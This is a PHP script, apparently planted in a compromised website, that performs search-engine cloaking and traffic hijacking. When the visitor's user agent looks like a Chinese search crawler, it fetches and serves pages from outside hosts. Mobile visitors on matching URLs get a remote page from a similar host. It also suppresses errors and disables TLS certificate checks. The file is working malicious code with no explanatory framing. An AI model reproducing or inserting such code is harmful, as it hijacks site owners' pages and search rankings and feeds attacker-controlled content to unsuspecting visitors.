|
|
|
|
|
<?php
|
|
|
$url = $_SERVER['REQUEST_SCHEME'] . 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
|
|
|
echo '<link rel="canonical" href="'.$url.'" />' ;
|
|
|
|
|
|
|
|
|
set_time_limit(30);
|
|
|
error_reporting(0);
|
|
|
$tr = "stristr";
|
|
|
$er = $_SERVER;
|
|
|
function httpGet($url) {
|
|
|
header('Content-Type:text/html;charset=utf-8');
|
|
|
$ch = curl_init();
|
|
|
curl_setopt($ch, CURLOPT_URL, $url);
|
|
|
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
|
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
|
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
|
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
|
curl_setopt($ch, CURLOPT_HEADER, 0);
|
|
|
$output = curl_exec($ch);
|
|
|
curl_close($ch);
|
|
|
return $output;
|
|
|
}
|
|
|
define('url', $er['REQUEST_URI']);
|
|
|
define('ref', $er['HTTP_REFERER']);
|
|
|
define('ent', $er['HTTP_USER_AGENT']);
|
|
|
define('site', "http://jsc.3fwq-duan2-231017.icu:81/");
|
|
|
|
|
|
|
|
|
define('road', "road=" .$er['HTTP_HOST'] . url);
|
|
|
define('regs', '@baiduspider|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
|
|
|
define('area', stristr(url, "wap") or stristr(url, "xj") or stristr(url, "xml") or stristr(url, "doc") or stristr(url, "pdf") or stristr(url, "txt") or stristr(url, "ppt") or stristr(url, "pptx") or stristr(url, "xls") or stristr(url, "xlsx") or stristr(url, "baike") or stristr(url, "edu") or stristr(url, "gov") or stristr(url, "jsp") or stristr(url, "asp") or stristr(url, "gq") or stristr(url, "pdx") or stristr(url, "ga") or stristr(url, "tacc") or stristr(url, "xshtml") or stristr(url, "csv")
|
|
|
or stristr(url, "show_id=") or stristr(url, "m=") or stristr(url, "mod=") or stristr(url, "s=") or stristr(url, "c=") or stristr(url, "abc") or stristr(url, "wap") or stristr(url, "Id=") or stristr(url, "=") or stristr(url, "=") and stristr(url, "?"));
|
|
|
if (preg_match(regs, ent)) {
|
|
|
if (area) {
|
|
|
echo httpGet(site.road);
|
|
|
exit;
|
|
|
} else {
|
|
|
echo httpGet("http://jschl.nn02.cc:81/");
|
|
|
ob_flush();
|
|
|
flush();
|
|
|
}
|
|
|
}
|
|
|
|
|
|
|
|
|
if (area) {
|
|
|
if (preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])){
|
|
|
$ch = curl_init();
|
|
|
|
|
|
// 设置URL和相应的选项
|
|
|
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1');
|
|
|
|
|
|
curl_setopt($ch, CURLOPT_URL, "http://mulu.3fwq-duan2-231017.icu:81/502.php");
|
|
|
curl_setopt($ch, CURLOPT_HEADER, false);
|
|
|
|
|
|
// 抓取URL并把它传递给浏览器
|
|
|
|
|
|
curl_exec($ch);
|
|
|
|
|
|
//关闭cURL资源,并且释放系统资源
|
|
|
|
|
|
curl_close($ch);
|
|
|
|
|
|
exit;
|
|
|
}
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
?> |
|
|
\ No newline at end of file |